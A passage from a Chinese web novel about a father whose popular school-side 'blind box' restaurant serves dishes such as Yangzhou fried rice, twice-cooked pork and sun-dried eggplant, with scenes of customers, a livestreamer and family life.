扬州炒饭好吃到最先买到饭的几位学生眼睛都不自觉睁圆，感觉他们以前吃的怕都是假的炒饭。 之前那个叫“葫芦”的主播今天同样过来做直播，在他刚买好饭时，直播间不少粉丝都在说炒饭价格有点贵。 “家人们，你们仔细看看，就这虾仁的新鲜度，再看看这火腿……”主播过来吃几次饭后已经被盲盒餐厅圈粉，看到直播间有粉丝质疑价格，强忍着馋意将镜头对准自己面前这份扬州炒饭。 楚易文做的炒饭不光火候和调味完美，食材更是讲究，蔬菜类新鲜就算了，连虾仁都是活虾现剥，火腿也不是火腿肠，而是金华火腿。 【我去！竟然不是火腿肠，而是真火腿！】 【虾仁看起来好新鲜，玉米粒和其他蔬菜也是，看得我都馋了！】 【靠！凭什么我这里卖的炒饭用的都是速冻玉米，注水虾仁，便宜的火腿肠！】 【说实话，就单是虾仁的新鲜程度，这炒饭真不贵。】 【确实，我愿意多花点钱吃这种食材新鲜的炒饭，然而最气人的是，有时候钱没少花，吃到的还是垃圾食材。】 给扬州炒饭来个特写后，主播再也忍不住，握着筷子大口吃起来，香得他直接眼睛都闭上。 鸡蛋、虾仁、鸡肉、火腿、香菇不同的鲜味，以及玉米、黄瓜、胡萝卜不同的清甜脆爽，配上米饭本身的米香，好吃到让人连话都说不出来。 恰到好处的油和盐激发所有食材的香味，吃起来却是油润而不油腻，咸鲜却不噎人，每一口都是极致的享受。 别说主播和其他顾客，就连原本想吐槽今天又没辣菜的楚瑾钰在吃两口扬州炒饭后都瞬间闭嘴了，感觉有如此美味的炒饭，没有辣也能接受。 扬州炒饭那丰富的食材搭配，每一口吃起来都有不同的惊喜，米饭单吃是带着蛋鲜的滋味；如果虾和火腿多一点，吃起来就偏有嚼劲；黄瓜、胡萝卜和玉米多一点，则偏清脆爽口。 明明是一份炒饭，但用米饭加食材随机组合，却能吃出好多不同的滋味。 叶其林：“楚爸做的扬州炒饭也太香了！感觉我以前吃的炒饭都是垃圾。” 胡一齐嘴巴已经被扬州炒饭给塞满，闻言连连点头表示赞同。 第76章 回锅肉 同样分量下, 跟饭菜比起来，扬州炒饭不光炒起来方便，还能让更多顾客吃到。 随着楚易文不停打饭打汤, 很快就轮到刚放学的学生们。 “哇，竟然还有那么多炒饭！” 排到前面的学生看到满满三大盆炒饭声音里带着兴奋，说完就直接买了两份。 色泽明亮、食材丰富的扬州炒饭不论是卖相和香味都特别诱人，买到的学生全部很开心，像是捧着宝贝一样捧着手里炒饭。 “唔，这炒饭也太好吃了！” 干香有嚼劲的米饭，咸鲜的火腿, 弹牙的虾仁，甜脆的玉米粒……那丰富的口感，好吃到学生们不由发出感叹。 “是啊, 太好吃了，我从来没吃过这么好吃的炒饭。” “叔叔，下午可以继续做炒饭吃吗？” “对啊对啊, 叔叔我下午还想吃扬州炒饭。” 半碗炒饭下肚，那香喷喷的滋味, 让好多学生们都忍不住表示下午还想吃炒饭。 “下午的食材已经提前准备好了。”楚易文边继续打饭边道。 跟炒饭比起来，鸡汤分量有些，更先卖完。后面没买到汤的顾客有点小失望，不过吃着色香味俱全的扬州炒饭, 心里多少又有些安慰，觉得至少不是什么都没吃到。 旁边桌上，楚瑾钰已经干完两碗扬州炒饭，此时正在喝汤。 浅金色的鸡汤清澈透亮，看着就很好喝, 喝进嘴里更是鲜美得不行，鸡肉与香菇特有的鲜味融入汤里，喝起来醇厚饱满，余味悠长。 他喝得有些停不下来时，坐在桌子对面的胡一齐已经将整碗鸡汤一饮而尽，抹着嘴道：“真是太好喝了！” 撇过浮沫的鸡汤只有表面那层薄薄的油花，让汤入口更加顺滑的同时却是半点不油腻。盐的咸味激发出食材本身的鲜味，红枣的加入让汤的余味带着丝若有似无的回甜，喝完让人有种浑身舒坦的感觉。 十月底的天气已经有些冷意，喝上碗温润滋补的鸡汤，简直是种享受。 汤喝完，胡一齐握着筷子开始吃碗底的鸡肉。经过长时间炖煮，鸡肉已经软烂脱骨，鸡皮的胶质被炖出来，吃起来软滑中带着淡淡韧劲，咀嚼间那微微脂香很是可口，鸡肉更是细嫩多汁，肉鲜中染上香菇的菌鲜，咸鲜美味，吃起来完全不柴。 不光鸡肉好吃，吸饱汤汁的香菇更加柔韧咸鲜，咬下去时汤汁四溢的口感特别好，那股菌菇特有的香气弥漫开来时，更是令人回味无穷。 “我好喜欢喝楚爸炖的汤啊，感觉喝着特别舒坦。”几口将碗底食材吃完，胡一齐摸着已经有点撑的肚子发出感叹。 商时贸：“楚爸炖的汤确实好喝，汤很清爽，里面肉还不柴。” “对，这点我家阿姨就做不到，她炖的汤味道也还行，但肉就有点柴，没法吃。”叶其林边说边将汤碗里的鸡肉送到嘴边，越吃越觉得香。 楚瑾钰喝完最后两口汤，边拿纸巾擦嘴边道：“我爸炖的汤当然好喝，他炖汤的那个砂锅都要五位数，用的食材也好……” “主要还是楚爸手艺好，我家里的厨具和食材也不差，阿姨做出来也就那样。”叶其林道。 他们只是随口闲聊，却是说者无心，听者有意。 隔壁桌背对着他们的主播闻言，小小声对直播间粉丝道：“听见没，你们之前还嫌人家这卖的炒饭贵……我跟你们说，人家老板开店真不是为了赚钱……” 【扯淡，谁开店不是为了赚钱，不赚钱那他干嘛要收钱？不如直接做慈善去。】 【人家老板还真做过慈善，之前桐县水灾，他不光带着儿子亲自去送物资，还在后勤帮忙做饭。】 【我去搜了一下，好像这老板开店是为了方便他儿子吃饭，卖饭只是顺便。】 【羡慕，为什么别人家爸爸就那么好，我爸之前连我要高考都不知道……】 【主播，帮我问一下老板他还缺不缺儿子，我很好养活的。】 “别闹，人家儿子就在旁边，问这话我怕老板儿子打我。”主播说完端起汤喝起来，随即很快沉浸在鸡汤的美味中。 直到把鸡汤喝完，他才带着满足的表情重新抬头道：“家人们，这汤真是太好喝了，没想到鸡汤还能这么清爽，里面鸡肉也好好吃，完全不同柴。” 【清爽？掺水了吧。】 “没有，掺水的鸡汤可不叫清爽，那叫寡淡。”主播反驳完继续夸道，“这鸡汤很鲜，那种鲜味我不知道怎么描述，反正就是很浓郁很自然的鲜味，喝起来却完全不油腻……” 直播间里粉丝们有被馋到，不少人纷纷表示下午要过来试试，是不是真有那么美味。 这边还在做直播时，旁边楚易文卖完最后一份炒饭，终于能在儿子身边坐下来开始吃饭。 “爸，你晚上能做点辣菜吗？我身体早就好了，可以吃辣了。”楚瑾钰看到他爸忙完，想到最近的伙食忍不住说。 楚易文将嘴里扬州炒饭咽下后开口：“今天的午饭不好吃吗？” 楚瑾钰还没说话，胡一齐就抢先道：“好吃，特别好吃，楚爸只要是你做的我都喜欢吃！” “谁问你了？”楚瑾钰瞪了眼胡一齐这个显眼包，转头继续道，“好吃是好吃，但我想吃辣。” 楚易文哪不知道他爱吃辣，实际上上午已经买了不少辣椒回来：“行，晚餐给你做个回锅肉，再来个水煮肉片。” 楚瑾钰闻言脸上瞬间露出笑容，嘴甜地说了句“爸你真好”。 回锅肉属于川菜，咸鲜微辣，特别开胃下饭。 楚易文向来说话算话，中午说给儿子做水煮肉片和回锅肉，下午到时间后自然不会少了这两道菜。 回锅肉要用猪后腿肉做才好吃，早上他特意去买的新鲜后腿肉，肥瘦相间、层次分明，看起来就很漂亮。 楚易文将整块猪肉拎起来打量两眼，冷水下锅，丢几粒花椒、几片姜再加点料酒一起煮。 大火烧开，猪肉里面的杂质被煮出来，他用锅铲将表面浮沫撇干净，转中小火煮到肉七八成熟后捞出来擦干水分，开始切肉。 通过勤学苦练，他刀工本就很好，最近抽到过几次关于刀工方面的奖励后，他刀工更上一层楼。此时一手扶肉一手握刀，刀光寒芒闪烁间，猪肉被切成均匀的薄片，每片厚度都在三毫米左右。 肉片切好，楚易文起锅烧油，在油温升高微微冒烟时，将肉下锅开始翻炒，很快肉片里的油脂就被炒出来，同时开始收缩、卷边。 等到肉片边缘被炒成漂亮的焦黄色时，原本平整的肉片变成漂亮的“灯盏窝”，像小碗一样。肥肉煸炒出来的油有点多，楚易文将多余的油倒出些，随即开始炒料。 他将豆瓣酱先用菜刀剁一遍，随即加姜和蒜一起下锅小火慢炒，将豆瓣酱的豆腥气炒掉，将红油和酱香味完全炒出来。 下午店外更加热闹，不光有高一、高二年级的学生，甚至还有不少家长，以及老顾客和慕名而来的新顾客。 某个高一学生望着店门口的人群，不由对朋友感叹：“妈呀，这人可真多，感觉高三的肯定又没饭吃了。” “确实，这样想想他们还真可怜，又要上课，还没好饭吃。” 他们正闲聊时，越来越浓郁的香味从店里飘出来，话题瞬间转移：“好香啊！这股味道，香得我口水都快下来，不知道又有什么好吃的。” “我好像闻见水煮肉片的味道了。” “说起来，上次那个水煮鱼真的好好吃，鱼肉又嫩又入味，还没有刺和腥味，可惜最近一直没再做。” “别家店我总是嫌它不上新菜，导致我都吃腻了，这家却是吃过一次难再吃第二次，怪不得叫盲盒餐厅。” “从这点上看，叔叔是真厉害，会做那么多菜，真羡慕他儿子。” “是啊，估计现在全校人最羡慕的就是他儿子了，每天都不用排队就能吃他做的饭吃到撑。” 学生们闻着诱人的菜香羡慕起楚瑾钰时，后面新来的顾客闻着扑鼻而来的香味，鼻子都不自觉往上抬。 “看直播时我还以为主播在夸张，没想到真的这么香。” “好诱人的肉香，闻得我肚子都饿了。” “人可真多啊，店门都没开，外面至少已经排了三四十号人了吧！” “我感觉不止……” “话说，别人都是打开门做生意，他家为啥一直关着门？” 听到新顾客疑惑的声音，有老顾客好心解释：“因为店里就老板一个人，所以他每次都是做完饭才会出来开门。” “生意这么好，怎么也不请个员工？” “人家老板之前就说过，主要是方便自家孩子吃饭，所以……” 等到学校放学铃声响起时，店外已经排成两条长龙，人数加起来感觉哪怕没破百，也差不多有七十多人。 “叔叔，晚餐有什么菜？”排在最前面的高二学生看到楚易文终于开门，迫不及待询问。 楚易文：“有水煮肉片、回锅肉、蜜汁香辣小鱼干、韭黄炒蛋、蒜蓉生菜、山药牛肉汤。” “哇~” 听到晚餐的菜色，排在最前面那几名学生发出欢呼，随即迫不及待跑进店里。 走到保温柜台前，首先注意到的就是那盆红亮油润，带来视觉冲击的回锅肉。肉片瘦肉部分被汤汁染成红褐色，肥肉部分像是半透明的琥珀，配上翠绿的蒜苗和青红椒，卖相看起来令人垂涎欲滴。 进入店中后，饭菜香更加浓郁，扑面而来的香味令所有顾客都不自觉吞咽口水。 “叔叔，我要回锅肉、蜜汁香辣小鱼干……” 在前面顾客买好饭菜时，后面还时不时有人加入队伍尾巴里排队，看这阵仗，高三学生们想来吃晚餐八成没戏。 “唔，这回锅肉真好吃，咸鲜微辣，锅气十足。” 赵雨语听到她爸夸赞的声音，脸上露出得意的表情：“我就跟你们说这家店很好吃，你们现在信了吧！” 自从她喊爷爷帮忙到学校来买饭后，爷爷就天天跟她在学校吃饭，爸爸妈妈得知此事把她说了一顿，说爷爷那么大年纪，她还折腾爷爷。 赵雨语感觉爷爷自从来学校帮自己买饭，可能是吃得好吃得香，最近精神都更好一些，自然不愿意被爸妈指责，于是趁着周六放假拉他们一起过来吃饭。 高温快炒带来的锅气让回锅肉吃起来特别香，肥肉多余油脂被煸出来，酥香不腻，瘦肉吸收油脂和汤汁，酥烂入味，咀嚼间微微带着焦香。那咸鲜微辣的滋味，好吃到赵父根本停不下来，根本没空回应女儿的话。 不光是他，赵母同样如此，就连最近经常过来吃饭的赵老爷子都连连伸筷子。 看到家人全都一心在吃肉，赵雨语也顾不上说话，赶紧夹两片回锅肉放到碗里。 其实以前她是不爱吃肥肉的，自从吃过盲盒餐厅的红烧肉后她才对肥肉改观，此时将一片肉送进嘴里，入口酱香浓郁中带着肉鲜与辣味，吃起来肥而不腻，简直不要太美味。 好吃！ 她脸上散发出吃到美味的光芒，随即将碗里剩下那片肉塞进嘴里。第二片肉上沾着翠绿的蒜苗，吃起来口感更加丰富，浓郁的肉香和清爽的蒜苗香融合在一起，简直是人间美味。 回锅肉空口吃都不腻，配上米饭吃更加香，只要吃过没有人会不喜欢。 楚瑾钰早就惦记着这口回锅肉，难得放学时比胡一齐还积极，全程小跑进店里，坐下来后立刻先吃它。 当那股咸鲜微辣的滋味在味蕾上蔓延开来时，他脸上瞬间露出享受的表情，感觉果然还是辣味吃起来够劲。 “真香！” 就着回锅肉连吃几口饭，香得楚瑾钰眼睛都微微弯起来，感觉越吃越好吃。 回锅肉脂香浓郁，咀嚼间肉的油脂和米饭融合，米香混着肉香，再配上那股咸鲜香辣的滋味，好吃的同时主食带来的饱腹感更是令人满足。 作为天天吃他爸做的菜的人，他都被回锅肉的味道给惊艳到，其他顾客就更不用说。 不管是老顾客还是新顾客，在吃到这口锅气十足，咸鲜微辣，酱香醇厚，瘦肉酥软不柴，肥肉酥香不腻的回锅肉时，都感觉之前在店外的等待特别值得。 尤其是新顾客，简直惊为天人。 红亮油润的回锅肉卖相不用加滤镜已经能馋死人，香气更是浓郁霸道，等吃进嘴里，直接让新顾客发出惊叹：“我的天，怎么会这么好吃！” 肥瘦相间的肉油脂比较重，吃起来香归香，但很容易油腻。然而此时面前这份回锅肉，却是肥而不腻，空口连着吃几片都只觉得香，配上蒜苗或者米饭一起吃，更加美味。 光是这一道菜就特别下饭，能让新顾客干完整碗饭，更别说还有水煮肉片、蜜汁香辣小鱼干等同样美味的下饭菜。 “好吃死了，每道菜都又香又下饭，我应该早点过来的！” “这个小鱼干好好吃啊！” 金黄酥脆的小鱼干外焦里韧，特别有嚼劲，甜中带辣，辣中带咸的滋味，简直好吃到人心坎里去。 “竟然连生菜都炒得又脆又好吃，简直是宝藏店铺！” “汤也好好喝~” 美食能令人心情愉悦，本来只是看到直播好奇过来的新顾客们在尝到饭菜的滋味后，超出他们预期的美味，让他们脸上露出满足与幸福的表情。 “老板，你家要招人不？只要管饭吃，工资你看着给就行。” 有顾客在美味的诱惑下，吃饭速度那叫一个快，吃完他肚子是饱了，嘴巴还有点意犹未尽，离开忍不住问。 他话落，不少原本在埋头苦吃的顾客瞬间抬头：“老板你要招人的话考虑一下我！” “我我我！老板看看我！” 楚易文看到积极举手毛遂自荐的顾客们，在他们响亮的声音下开口：“不好意思，暂时没有招人的打算。” 他说完，将盆里已经不多的菜用勺子收拢起来，继续给顾客们打菜，同时提醒最后面的人不要再浪费时间排队。 “哦耶！我运气真好！” 买到最后一份回锅肉的顾客发出欢呼，在看到店内已经没位置后直接找个角落蹲下来，迫不及待夹起片肉送进嘴里。 高温炒出来的回锅肉呈现漂亮的“灯盏窝”，肉片边缘带着微微焦黄，肥肉部分那略显透明的琥珀色看着完全没有油腻感。 回锅肉咸、鲜、辣、香几种滋味达成完美平衡，咀嚼间那股脂香和酱香逐渐迸发出来，令人欲罢不能。 肉片单吃很香，配上蒜苗口感更加丰富，同时蒜苗的清脆能中和肉片的油脂，让回锅肉吃起来更加解腻。 “真好吃，连我平常不爱的蒜苗吃起来都特别香！” 人与人的悲欢并不相通，在买到最后一份回锅肉的顾客吃得一脸满足时，店外没买到饭的高三学生们简直难受想哭。 “这日子真是没法过了……” “太讨厌了，为什么我想吃个饭就那么难？” “又不是其他地方没饭吃，干嘛都要跑到学校跟我们抢饭吃啊？学校边出现一家这么好吃的店容易嘛！” “周六要上课已经够难受，现在还连饭都吃不上，真是吐了，看来下次只能找跑腿小哥代买了，不然根本吃不到。” 高三学生们基本上都买不到饭，但有部分高三老师却是在店里吃得正香。 有学生性格比较外向，发现自家老师的身影时，直接端着刚买的泡面凑过去：“石老师，回锅肉好吃吗？” 只能说和学生关系太好有利有弊，石老师万万没想到自己竟然被学生给打劫了，回锅肉他只吃到半份，剩下的全被学生们给蹭走。 “哈哈哈哈，老石，这就是你平常蹭我们零食的报应！”胡一齐看到石老师被打劫，直接笑出声来。 本来就没吃够回锅肉的石老师闻言，直接端着碗过来，见他们桌上还有不少菜，直接抢了两筷子。 抢完他还不忘对着楚瑾钰夸道：“你爸做的菜真好吃，不光味道好，吃起来更是锅气十足。” “锅气到底是什么啊？”胡一齐不解。 石老师不知道怎么跟他解释，便道：“反正你吃一下预制板对比就知道了。” 对于班上老师，楚瑾钰还是挺大方的，直接让开一个位置招呼他坐下来一起吃，不过石老师也没好意思一直蹭，摆摆手就回自己位置上去。 今天下午带辣的菜有好几道，可把楚瑾钰给吃爽了，等到楚易文卖完饭坐过来时，他还忍不住又蹭两口。 咽下嘴里的蜜汁香辣小鱼干，楚瑾钰开口道：“爸，感觉店里顾客越来越多，你真不用请个人帮忙吗？” “我先回去算下账，看看一个月下来赚的钱扣除成本后够不够请人。” 虽然楚易文没打算靠开店赚钱，可他也不至于倒贴钱开店，毕竟请人可是要开工资的。 楚瑾钰闻言觉得有道理，点点头没再说什么。 结束晚餐的营业后，楚易文瞬间就闲下来，尤其是明天周末不用开店，想想就很舒服。 他回到家先吃点水果看会电视，随即才不紧不慢走进书房，将今天拍的视频素材剪出来。 随着时间的流逝，越来越多本地人到他家店里吃过饭，可惜好多粉丝哪怕在本地，由于距离比较远，也没办法经常过来吃。此时他新视频刚发出去，评论区瞬间就热闹起来。 【好诱人的回锅肉，馋了，想吃……】 【今天竟然有我最爱吃的回锅肉！啊啊啊！可恶的公司，为什么是单休，但凡是双休的话，我今天就有空去吃饭了！】 【下午去店里吃饭了，回锅肉咸鲜微辣，锅气十足，味道特别好［图片］】 【我也去吃了，是真好吃，不光有回锅肉，还有蜜汁香辣小鱼干、水煮肉片……［图片］［图片］】 【跟你们这些炫耀的本地人拼了！祝你们吃完胖十斤！】 第77章 落苏干 评论区的热闹楚易文只是随便看两眼, 并没有放在心上，从书房出来就洗漱回房间，开始今天的抽奖。 平常他再差都能抽中些食材或菜谱, 今天却是有点见鬼，全是“谢谢惠顾”。 剩下的顾客好评其实还够楚易文再抽几次，但他感觉系统越来越有毛病，并没有继续抽，等到儿子下晚自习回来就直接睡觉。 次日是周末，高三放假，楚易文不用去开店, 不过早就习惯早起的他依旧七点不到就起床。 “今天天气倒是不错。” 进入厨房前，楚易文先在客厅落地窗前站了会，望着外面天色感叹一句才转身去做早餐。 他先把黄豆丢进破壁机里打豆浆, 随即又拿出肉和面粉开始做香河肉饼。 当皮薄馅大的肉饼全部做好，他起锅准备开始烙饼时，身后传来打招呼声。 楚易文听见儿子的声音有点诧异：“今天是周末, 怎么没多睡会？” “好不容易放一天假，多睡一个小时就少一个小时。”楚瑾钰边打哈欠边说, 语气里满是对周末的珍惜。 以前有双休时还好，他根本不觉得时间紧迫，单从高三变成单休，他总有种放假跟没放一样的感觉。 楚易文闻言脸上露出点笑意, 随即将饼下锅，小火慢烙下，饼皮渐渐变得焦黄，甚至微微鼓起。 当饼皮那股浓郁麦香以及内里的肉香开始飘出来时，楚瑾钰闻见这股香气整个人都精神几分。 香河肉饼他已经不是第一次吃, 但每次闻见味还是会馋，不由走到灶台边，望着锅里卖相越来越诱人的饼。 当香河肉饼两面被煎至金黄，肉馅更是被小火慢慢煎透时，浓郁的香味扑面而来。 听到儿子喉咙滚动的声音，楚易文直接将刚煎好的饼放到盘子里递给他。 楚瑾钰没跟他爸客气，站在旁边直接趁热开吃，刚出锅的香河肉饼表皮酥脆焦香，肉馅嫩而不柴，咀嚼间肉汁溢出来的感觉特别香。 两个人的早餐做起来很快，没多久父子二人就在餐桌上坐下，面前摆着香喷喷的肉饼与豆浆。 “爸，你做的肉饼太好吃了，感觉怎么吃都不腻。”楚瑾钰说完又拿起一块饼，吃得那叫一个香。 之前几天他们都是在店里吃饭，家里没有多少食材，早餐结束，楚易文准备出去买点菜，顺口问他要不要一起去。 此时还挺早，楚瑾钰也不想打游戏，闻言直接点头：“去。” 父子俩一起出门，楚易文直接开车前往码头菜市场。 或许是周末的缘故，码头菜市场这边还挺热闹，船靠岸时一堆人抢着去帮老人们挑菜，很快就各种瓜果蔬菜就将菜市场内摆满。 “爸，今天好多人卖茄子啊，但是感觉都没什么人买。”楚瑾钰望着周围的摆摊，发现今天菜市场里到处都是亮紫色的茄子。 楚易文：“秋末的茄子属于老茄子，肉厚，水分比较少，大部分可能更爱吃嫩茄子。” “啊？那他们的茄子不是都卖不出去了……”楚瑾钰看向那些卖茄子的老人们，好像已经看到他们失望地背着茄子回家的场景。 楚易文：“老茄子适合做茄子干，我们先把其他菜买完，然后把那些茄子收了。” 听到他爸轻描淡写间就解决掉老人茄子卖不出去的问题，楚瑾钰看向他的眼神都亮了几分，带着几分儿子对父亲的崇拜。 楚易文说到做到，将买好的菜先送到车里，随即走到最近的菜农那问：“叔，你这茄子一共有多少斤？” 被问话的老人闻言，抬手比划着道：“十五斤。” “我都要了。”楚易文说完直接掏钱，随即示意自家儿子把茄子拎走。 楚瑾钰看到老人惊喜的表情也不嫌辛苦，反而搬得挺有劲，他爸买多少，他就搬多少。 很快菜市场内大家就发现楚易文在收购茄子，由于他经常来这边买菜，好多人都认识他，有位老人更是忍不住拉着他手道：“哎呦，又麻烦你了，真是谢谢……” “不麻烦，反正店里总是要用的，你们种的菜品质好，顾客们喜欢吃。”楚易文不提自己的手艺，只夸老人们种的菜好。 哪怕他这么说，大家还是知道他就是想帮老人们，否则直接根本不用自己过来买，联系个蔬菜批发市场，人家直接能把菜送上门。 等楚易文父子俩从菜市场离开时，不光车上装满茄子，楚瑾钰手里还被人塞了几个大橘子。 他把玩着手里橘子，余光望着后备箱以及后座满满当当的茄子，轻嗅着道：“一股茄子香，爸，茄子干好吃吗？” “你吃过就知道了，今天太阳不错，正好适合晒茄子干。”楚易文望着天上的太阳道。 就在他们车开到半路上时，外面忽然传来争执声。楚瑾钰爱看热闹的心理上来，立刻打开车窗往外看，结果不看还好，一看顿时着急起来：“爸，是邵言易他奶奶！” 楚易文闻言靠边停车，他刚从车里下来，就见邵言易奶奶被对面一个老头伸手推了一把，赶紧快跑几步将人扶住。 “你干嘛！” 他略显严肃的声音落下，刚刚还嚣张得不行的老头瞬间收敛几分，捡起地上的纸壳道：“她抢我纸壳，我拿回来有什么问题。” “那明明是从我车上掉下来的纸壳，你这死老头真是不讲道理！”邵言易奶奶生气道。 早几年她还能找到在饭店洗碗，或者在网吧或者小区扫地的工作干，现在年纪大了，除了种点菜卖之外，就是靠捡破烂卖点钱。 车上纸壳一部分是她捡的，一部分是路过步行街，好心店老板送给她，本来她高高兴兴想拿到废品收购站卖钱，没想到半路掉下来几块大纸壳，没等她捡起来就被人拿走。 “我在地上捡，怎么就是你的了？写你名字了？” 在楚易文来之前，老头骂人骂得特别凶，甚至敢推邵言易奶奶，现在可能以为楚易文是她家小辈，倒是没再继续骂人，但是依旧一副无赖嘴脸。 两个都是看起来七八十岁的老人，大家看热闹归看热闹，可不敢掺和。 跟路人们比起来，还在上高中的楚瑾钰带着少年义气，想到上次自己生病邵言易背他的场景，一把从老头手里抢过纸壳。 “奶奶给。” 他连废话都不说，直接把东西抢回来的架势落在邵言易奶奶眼中，瞬间就让她解气了。 实际上作为能独自抚养孙子的老太太，她并不是什么好欺负的性格，刚刚对骂过程中甚至占据上风，那老头会推她纯属骂不过只能动手。 “你们仗着人多欺负我一个老头是吧？”老头望着瞬间空了的手，气得瞪着眼。 邵言易奶奶：“你个不要脸的老东西……” “蒜鸟蒜鸟，都不泳易。” 眼见他们又要吵起来，路人开始劝和。可能是因为双方都是老人的缘故，路人们倒是没谁敢说“蒜鸟蒜鸟，你搞不赢她滴”这种挑事的话。 老头见骂不过邵言易奶奶，打的话她身边有帮手，显然也打不过，最终骂骂咧咧离开。 他走后，邵言易奶奶赶紧向楚易文父子俩道谢，还从三轮车里拿了两个柿子塞给楚瑾钰。 “谢谢奶奶，不用了。”楚瑾钰想要拒绝，但老太太压根不给他拒绝的机会，加上柿子比较软，他不好多推，只能接着。 年纪大了，老太太什么事没经历过，刚刚被人骂，被人推在她看来都不算什么，纸壳抢回来就好。 在她骑着三轮车离开时，楚瑾钰望着她的背影，代入一下自己奶奶，终于理解第一次跟他爸去码头菜市场时，他爸跟他说的话。 在没有钱的时候，赚钱确实是很重要的事情，楚瑾钰回忆过往，在他有记忆以来，至少他爷爷奶奶从来没有为钱而烦恼过，更别说需要出来捡破烂，跟人抢纸壳。 “在想什么？”楚易文见儿子站在原地，拍拍他肩膀示意他上车回家。 坐进车里后，楚瑾钰开口道：“爸，你昨天说要算一下店里的收益才考虑要不要请人，算得怎么样了？” 楚易文闻言，边重新开车边道：“店里比我想象得要赚钱点，扣除成本，一个月下来竟然还能赚六千多……” 六千多看起来不少，平摊下来一天才两百块，也就是店铺是他自己的不需要租金，否则再加上他的工资成本，压根不赚钱，甚至还有点亏。当然，这主要也是他每天只卖固定数量的饭菜，卖完就停止营业，加上他用的食材好，成本比较高，否则绝对不止这点钱。 “那你准备请人吗？”楚瑾钰问。 楚易文余光看向儿子，不答反问：“你怎么这么关心店里请不请人？” “我想说要是店里准备请人的话，可不可以让邵言易奶奶来干。”楚瑾钰从小是被爷爷奶奶带大，他很容易共情老人，比如码头菜市场那些卖菜的老人，以及邵言易奶奶。 自从做过那个梦以后，跟孩子的成绩比起来，楚易文更重视他的品格，听到儿子的话，自然不会拒绝。 “可以啊，你有空问问邵言易，看他奶奶愿不愿意来，就说工资三千块钱一个月，包他和他奶奶两餐饭。”楚易文道。 楚瑾钰：“三千？会不会太少了？” “不少了，店里本身活就不多，加上还包饭，工资再高的话人家该不好意思来了。”楚易文说完车子已经开到家里。 楚瑾钰若有所思地点点头，和他一起将车里的茄子和其他菜搬进厨房。 趁着今天天气不错，加上现在时间还早，楚易文直接在厨房里清洗茄子，准备做茄子干。 本来他是让楚瑾钰先去做作业，但楚瑾钰不想做，非要给他帮忙，于是就变成父子俩一个洗茄子，一个切茄子。 很快一条条亮紫色茄子就被切成均匀的长条，装满好几大盆，楚易文往茄子里撒上盐，用手搓揉均匀，用盐腌出茄子里多余水分，这样既能去除茄子的苦涩味，还能增加底味，减少晒干时间，可谓是一举多得。 茄子用盐腌制好，楚易文带着儿子一起动手挤出茄子里多余水分，随即一部分直接拿出去晒，一部分则留在厨房里。 “爸，这些不晒吗？”楚瑾钰指着剩下的茄子问。 楚易文：“剩下的做酱落苏干。” “酱落苏干是什么？” “就是酱茄子干，有的地方将茄子称为落苏，所以茄子干也叫落苏干。” 楚易文向儿子解释完，开始起锅烧油，按照一比一的比例往锅里倒入生抽、老抽，再加入冰糖小火熬制成粘稠酱汁。 酱汁熬好，他将已经挤干水分的茄子倒入锅中翻炒，让每条茄子均匀裹上酱汁后中火慢煮，让茄子充分吸收。 炒制过程中，生抽、老抽的酱香，冰糖的焦糖气息，以及茄子本身的清香融合在一起，散发出一股特殊的香气。 等到茄子炒好，楚瑾钰忍不住凑过去：“爸，可以吃了吗？” “还不能吃，要拿到外面晒，晒好才能吃。” 楚易文边说边端着锅往院子里走，显然是找地方晒酱落苏干。 “那要晒多久才能吃？”楚瑾钰闻着那股香味，亦步亦趋跟在旁边。 楚易文：“今天太阳不错，如果明天也是这种好天气，那晒两天就可以吃了。” 听到要两天，楚瑾钰拉长声音“啊”了一下，显然是有点失望。 茄子买得太多，一上午根本做不完，中午楚易文简单做了茄子排骨焖面后，下午继续开始做落苏干。 跟做作业比起来，楚瑾钰更愿意给他帮忙打下手，但作业还是得做的，下午他只能乖乖写作业，楚易文则是继续忙活做落苏干。 由于院子已经晒满，下午楚易文开始在楼顶上晒落苏干，当一条条落苏干均匀铺开，他闻着扑鼻而来的茄子香，还挺有成就感。 随着楚易文不停处理茄子，晒落苏干，很快他家从里到外都透着一股茄子味，尤其是酱落苏干那股带着焦糖与酱香的气息，简直快要将家里腌入味。 今天太阳是真不错，等到太阳快落山时，茄子已经被晒得紧实收缩，褶皱分明。 晚上落苏干肯定不能继续放在外面，楚易文带着儿子往家里收落苏干时，随手捏起一条观察起来，感觉已经捏不出水分，脸上瞬间露出笑意：“看来明天再晒一天就能吃了。” 经过整天的阳光暴晒，酱落苏干看起来乌黑油亮，散发出酱香混合焦糖气息的香味，特别勾人食欲。 在收院子里那些时楚瑾钰还能忍住，等到楼顶后，他直接拿起条酱落苏干试探着送进嘴里。 今天太阳挺好，酱落苏干虽然还没有完全晒透，但已经带着五六成干，尤其是表皮部分更是已经干透。 “怎么样？”看到儿子偷吃的小动作，楚易文语气透着笑意。 见被他爸发现，楚瑾钰直接咀嚼起来，先是带着甜味的酱香在味蕾蔓延开来，随即底味中的咸透出来，味道特别有层次感，用酱汁先煮后晒的落苏干吃起来软韧有嚼劲，有点吃果脯的感觉。 楚瑾钰还是第一次吃这种吃食，感觉味道有点怪，但怪好吃的。 听到儿子的评价，楚易文笑着道：“等明天再晒一天，味道会更好。” 次日又是星期一，学生党和工作党们最讨厌的日子。 上午有体育课，从教学楼出来时，楚瑾钰望着天空道：“今天太阳真好！” “待会跑八百米时你就知道这太阳到底好不好了。”胡一齐吐槽道。 楚瑾钰：“你懂个屁，我爸昨天做了好多落苏干，就需要这种好天气。” “落苏干？落苏干是什么？好吃吗？”听到吃胡一齐瞬间来劲。 楚瑾钰见他好奇，偏不告诉他，于是整节体育课两个人打打闹闹个不停。 眼见他不告诉自己，胡一齐开始盼着放学，等到放学铃声响起，撒腿就往大门方向跑。 “跑八百米时没见他有这个速度。”叶其林落在后面，望着他背影吐槽。 盲盒餐厅里，此时早就人满为患。 今天高一高二学生也要上学，店内的人目前分为三部分，一部分是老年人，一部分是跑腿小哥，还有一部分是附近店铺老板和其他有空的年轻顾客。 就在楚易文忙着给顾客们打饭菜时，胡一齐小跑进来：“楚爸，落苏干是什么？” “是茄子干。”楚易文听见熟悉的声音，头也不抬回道。 “原来是茄子干。”胡一齐得到答案有点意外，随即望着刚进来的楚瑾钰道，“哈哈，你不告诉我我还不是知道了，落苏干就是茄子干。” “幼稚。”楚瑾钰吐出两个字，直接进厨房洗手端饭菜。 今天午餐有脆皮猪肘、香辣花甲、辣椒炒肉、香菇炒青菜、红烧排骨、菌菇肉片汤，全是他爱吃的。 